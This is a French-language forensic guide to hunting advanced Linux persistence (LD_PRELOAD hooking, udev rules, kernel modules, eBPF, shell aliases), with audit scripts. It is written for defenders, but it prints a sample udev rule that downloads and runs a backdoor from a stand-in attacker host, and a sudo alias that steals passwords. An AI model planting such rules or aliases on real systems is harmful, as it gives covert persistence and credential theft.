Aller au contenu

Analyse d'Artefact : Persistance Avancée Linux et Rootkits

1. Rootkits en espace utilisateur : le détournement LD_PRELOAD

Section intitulée « 1. Rootkits en espace utilisateur : le détournement LD_PRELOAD »

La technique la plus courante pour obtenir de la furtivité sans nécessiter d’accès au niveau du noyau est le détournement de l’espace utilisateur (User-Mode Hooking) via la manipulation de l’éditeur de liens dynamique (dynamic linker).

Sous Linux, la variable d’environnement LD_PRELOAD ou le fichier de configuration global /etc/ld.so.preload ordonne au chargeur de programmes de charger un objet partagé spécifique (une bibliothèque .so) avant toute autre bibliothèque, y compris la bibliothèque C standard (libc).

Le mécanisme d’attaque : un attaquant dépose une bibliothèque partagée malveillante et l’enregistre dans /etc/ld.so.preload. Cette bibliothèque malveillante intercepte (hook) les fonctions système standards comme readdir (utilisée par ls) ou fopen (utilisée par cat). Lorsqu’un administrateur système tape ls, la fonction readdir de l’attaquant s’exécute en premier. Elle appelle la fonction readdir légitime, filtre et supprime la ligne contenant le nom de fichier du malware, et renvoie la liste nettoyée à l’administrateur. Le malware devient totalement invisible pour les outils de l’espace utilisateur.

Triage DFIR hors ligne : en supposant que l’image forensique soit montée sur /mnt/analyse/ :

hunt_ld_preload.sh
# Vérifie si le fichier de préchargement global existe et contient des entrées
cat /mnt/analyse/etc/ld.so.preload
# Examine les variables d'environnement des comptes de service compromis
cat /mnt/analyse/proc/*/environ | tr '\0' '\n' | grep "LD_PRELOAD"

Alerte rouge : le fichier /etc/ld.so.preload est vide ou inexistant sur 99 % des systèmes Linux sains. Toute entrée au sein de ce fichier doit être traitée comme un indicateur de compromission (IOC) sévère.

2. Persistance par déclenchement d’événement : règles Udev

Section intitulée « 2. Persistance par déclenchement d’événement : règles Udev »

Udev est le gestionnaire de périphériques du noyau Linux. Il utilise des règles pour dicter les actions que l’OS doit entreprendre lorsque des événements matériels se produisent (ex: branchement d’une clé USB, ou initialisation d’une interface réseau).

Les acteurs de la menace abusent de ce mécanisme pour déclencher des charges utiles de manière asynchrone, évitant ainsi l’analyse traditionnelle de la séquence de démarrage.

  • L’attaque : l’adversaire crée une règle malveillante dans /etc/udev/rules.d/ ou /lib/udev/rules.d/.
  • La charge utile : ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/bin/wget http://attaquant.com/backdoor.sh -O /tmp/x; sh /tmp/x"
  • Valeur forensique : cette règle garantit que chaque fois qu’une interface réseau s’active, la backdoor est automatiquement téléchargée et exécutée. Les analystes doivent explicitement rechercher (grep) la directive RUN+= dans les répertoires udev.

Lorsque les acteurs de la menace obtiennent un accès root, ils tentent fréquemment de charger du code directement dans le noyau, obtenant ainsi la domination ultime du système.

A. Modules noyau chargeables (LKM - Loadable Kernel Modules)

Section intitulée « A. Modules noyau chargeables (LKM - Loadable Kernel Modules) »

Les attaquants compilent un module malveillant .ko (Kernel Object) et le chargent en utilisant insmod ou modprobe. Un LKM peut manipuler les structures internes du noyau (comme la table des appels système) pour cacher des processus de la propre liste des tâches du noyau, contourner entièrement les pare-feux iptables et octroyer des shells root invisibles.

  • Chasse hors ligne : pour survivre aux redémarrages, les LKM doivent être enregistrés dans la configuration de démarrage. Les analystes doivent auditer :
    • /mnt/analyse/etc/modules
    • /mnt/analyse/etc/modules-load.d/
    • /mnt/analyse/etc/modprobe.d/

L’Extended Berkeley Packet Filter (eBPF) permet l’exécution sécurisée de programmes en bac à sable (sandboxed) au sein du noyau sans avoir à charger un LKM. En 2025/2026, les familles de malwares sophistiqués (comme BPFDoor ou Symbiote) ont basculé vers eBPF. Les attaquants utilisent eBPF pour filtrer les paquets réseau avant même qu’ils n’atteignent le pare-feu, créant des déclencheurs de “paquets magiques” invisibles qui génèrent des shells root uniquement lorsqu’un paquet spécifique et forgé frappe l’interface réseau.

4. Détournement de Shell (Backdoors niveau utilisateur)

Section intitulée « 4. Détournement de Shell (Backdoors niveau utilisateur) »

Une persistance furtive ne nécessite pas toujours des privilèges root. Les attaquants établissent souvent des portes dérobées au sein de l’environnement interactif d’un utilisateur spécifique.

En modifiant les scripts d’initialisation du shell (ex: ~/.bashrc, ~/.bash_profile, ~/.zshrc), les attaquants peuvent créer des alias ou des fonctions malveillantes.

  • Exemple d’attaque : alias sudo='sudo /tmp/.hidden_stealer.sh'
  • Le résultat : la prochaine fois que l’utilisateur compromis tente d’exécuter une commande privilégiée, le script de l’attaquant intercepte le mot de passe en clair avant de le transmettre au binaire sudo légitime.
audit_advanced_persistence.sh
#!/bin/bash
TARGET_DIR="/mnt/analyse"
echo "[+] Audit de LD_PRELOAD..."
if [ -f "$TARGET_DIR/etc/ld.so.preload" ]; then
echo "ALERTE : ld.so.preload existe ! Contenu :"
cat "$TARGET_DIR/etc/ld.so.preload"
fi
echo "[+] Audit des règles Udev pour les directives dexécution..."
grep -r "RUN+=" $TARGET_DIR/etc/udev/rules.d/ $TARGET_DIR/lib/udev/rules.d/
echo "[+] Audit des configurations de chargement automatique LKM..."
ls -la $TARGET_DIR/etc/modules-load.d/
cat $TARGET_DIR/etc/modules 2>/dev/null | grep -v "^#"